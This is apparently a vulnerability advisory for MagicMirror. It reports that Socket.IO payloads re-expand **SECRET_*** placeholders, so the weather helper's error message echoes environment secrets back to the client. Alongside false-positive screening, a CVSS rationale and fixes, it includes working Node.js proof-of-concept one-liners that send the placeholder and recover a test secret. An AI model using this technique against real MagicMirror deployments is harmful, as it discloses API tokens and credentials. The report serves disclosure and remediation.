MagicMirror socket payload secret placeholder expansion can disclose SECRET_* environment variables

A confirmed echo path exists in the default weather helper:

• defaultmodules/weather/node_helper.js:12-19 accepts INIT_WEATHER from the socket.
• defaultmodules/weather/node_helper.js:27-31 copies config.instanceId from the attacker-controlled payload.
• defaultmodules/weather/node_helper.js:47-52 attempts to dynamically load the requested weather provider.
• defaultmodules/weather/node_helper.js:86-91 catches errors and sends WEATHER_ERROR with the same instanceId back to the namespace.

False-positive screening performed:

• This is not a generic environment leak through /env; js/server_functions.js:221-240 returns only selected client environment paths.
• The HTTP /config route does redact placeholders when hideConfigSecrets: true; the issue is that the inbound socket path expands those placeholders again before module helper code runs.
• replaceSecretPlaceholder(...) intentionally refuses substitution when global.config.cors === "allowAll" (js/server_functions.js:29-34); the positive PoC used cors: "disabled", which is the shipped default (js/defaults.js:14). A negative control with no substitution produced the placeholder unchanged.
• The attacker must know or infer a SECRET_* variable name. If the attacker can read the redacted /config response, placeholder names may be disclosed even when values are hidden. The PoC uses a known SECRET_MM_AUDIT test variable.
• Network reachability follows the Socket.IO exposure model. With the shipped default address: "localhost" and loopback ipWhitelist, remote network reachability is limited. In documented non-loopback deployments, this combines with the Socket.IO access-control gap described separately.

Affected-version evidence: only [email protected] at commit fb41d24ef522e91e802e2a623ff6afbddeb3c9d8 was tested. The affected range is unknown from this audit; earlier versions were not tested. No patched version or fix commit was identified locally.

PoC

The following safe local PoC was run from a clean checkout of MagicMirror at commit fb41d24ef522e91e802e2a623ff6afbddeb3c9d8. Because node_modules were not installed in this audit environment and package.json:52 has a destructive postinstall, the command uses dependency stubs while executing the vulnerable repository dispatcher and weather helper code. It writes no files and does not contact external services.

Positive trigger:

node -e 'const Module=require("module"); const orig=Module._load; Module._load=(r,p,m)=>{ if(r==="express") return { static:()=>()=>{} }; if(r==="logger") return {log(){},error(){},warn(){},info(){},debug(){}}; if(r==="#server_functions") return {replaceSecretPlaceholder:(input)=>input.replaceAll(/\*\*(SECRET_[^*]+)\*\*/g,(_m,g)=>process.env[g])}; return orig(r,p,m); }; require("./js/alias-resolver"); global.root_path=process.cwd(); global.config={hideConfigSecrets:true,cors:"disabled"}; process.env.SECRET_MM_AUDIT="secret-marker-42"; const Weather=require("./defaultmodules/weather/node_helper"); const helper=new Weather(); helper.setName("weather"); const sent=[]; helper.sendSocketNotification=(n,p)=>sent.push({n,p}); let onAny; const fakeIo={of(){return {on(_ev,cb){const socket={onAny(fn){onAny=fn;}}; cb(socket);}};}}; helper.setSocketIO(fakeIo); Promise.resolve(onAny("INIT_WEATHER",{instanceId:"**SECRET_MM_AUDIT**",weatherProvider:"definitely-not-a-provider",type:"current"})).then(()=>setTimeout(()=>{console.log(JSON.stringify(sent));},10));'

Observed output:

[{"n":"WEATHER_ERROR","p":{"instanceId":"secret-marker-42","error":"Cannot find module '/home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/defaultmodules/weather/providers/definitely-not-a-provider.js'\nRequire stack:\n- /home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/defaultmodules/weather/node_helper.js\n- /home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/[eval]"}}]

Expected vulnerable output: the weather error payload returned by the helper contains "instanceId":"secret-marker-42", proving the server substituted the SECRET_MM_AUDIT environment variable into an attacker-controlled socket payload and returned it to the client.

Negative/control trigger simulating no inbound placeholder substitution:

node -e 'const Module=require("module"); const orig=Module._load; Module._load=(r,p,m)=>{ if(r==="express") return { static:()=>()=>{} }; if(r==="logger") return {log(){},error(){},warn(){},info(){},debug(){}}; if(r==="#server_functions") return {replaceSecretPlaceholder:(input)=>input}; return orig(r,p,m); }; require("./js/alias-resolver"); global.root_path=process.cwd(); global.config={hideConfigSecrets:true,cors:"allowAll"}; process.env.SECRET_MM_AUDIT="secret-marker-42"; const Weather=require("./defaultmodules/weather/node_helper"); const helper=new Weather(); helper.setName("weather"); const sent=[]; helper.sendSocketNotification=(n,p)=>sent.push({n,p}); let onAny; const fakeIo={of(){return {on(_ev,cb){const socket={onAny(fn){onAny=fn;}}; cb(socket);}};}}; helper.setSocketIO(fakeIo); Promise.resolve(onAny("INIT_WEATHER",{instanceId:"**SECRET_MM_AUDIT**",weatherProvider:"definitely-not-a-provider",type:"current"})).then(()=>setTimeout(()=>{console.log(JSON.stringify(sent));},10));'

Observed control output:

[{"n":"WEATHER_ERROR","p":{"instanceId":"**SECRET_MM_AUDIT**","error":"Cannot find module '/home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/defaultmodules/weather/providers/definitely-not-a-provider.js'\nRequire stack:\n- /home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/defaultmodules/weather/node_helper.js\n- /home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/[eval]"}}]

Expected control output: the placeholder remains **SECRET_MM_AUDIT**, showing that the positive case depends on the vulnerable server-side placeholder expansion step.

Final repro re-check: both the positive and negative harnesses were re-run after drafting, and the observed outputs above are from this environment. No cleanup was required.

Impact

Any client that can connect to a module Socket.IO namespace can disclose SECRET_* environment variables by sending known placeholder names in object payloads that are expanded by js/node_helper.js before helper processing. This undermines the purpose of hideConfigSecrets: true: secrets are hidden in the HTTP config response but can be converted back into their real values through inbound socket payloads.

The confidentiality impact depends on what the deployment stores under SECRET_* variables. MagicMirror configurations commonly include API tokens, calendar credentials, service keys, or network allowlist values in config/environment variables. The PoC proves disclosure of a test secret through a default helper echo path.

CVSS 3.1 rationale: AV:A because MagicMirror is intended for trusted local/private networks and remote exploitation requires a reachable local/private-network deployment; AC:L because once namespace access is available the attacker only needs a known or guessed SECRET_* name and an invalid weather provider to trigger the echo; PR:N because no application authentication is required; UI:N because the attacker sends socket messages directly; S:U because the impact is disclosure of secrets from the vulnerable application's own process environment; C:H because environment secrets can include credentials/API tokens; I:N/A:N because this report proves disclosure only.

Suggested remediation

Do not expand SECRET_* placeholders in inbound socket payloads. The redaction boundary should be one-way: server-to-client responses may contain placeholders, but client-to-server messages must not be treated as authority to retrieve real environment values.

Concrete fixes:

• Remove the replaceSecretPlaceholder(JSON.stringify(payload)) call from js/node_helper.js:91-99 for inbound socket payloads.
• If a specific module legitimately needs secret material, resolve it only from server-loaded trusted configuration, not from client-supplied placeholders.
• Keep hideConfigSecrets redaction for /config, but avoid disclosing placeholder names to clients when not necessary.
• Add regression tests that set hideConfigSecrets: true and SECRET_TEST=value, send a socket payload containing **SECRET_TEST**, and assert that every helper receives/returns the literal placeholder rather than the secret value.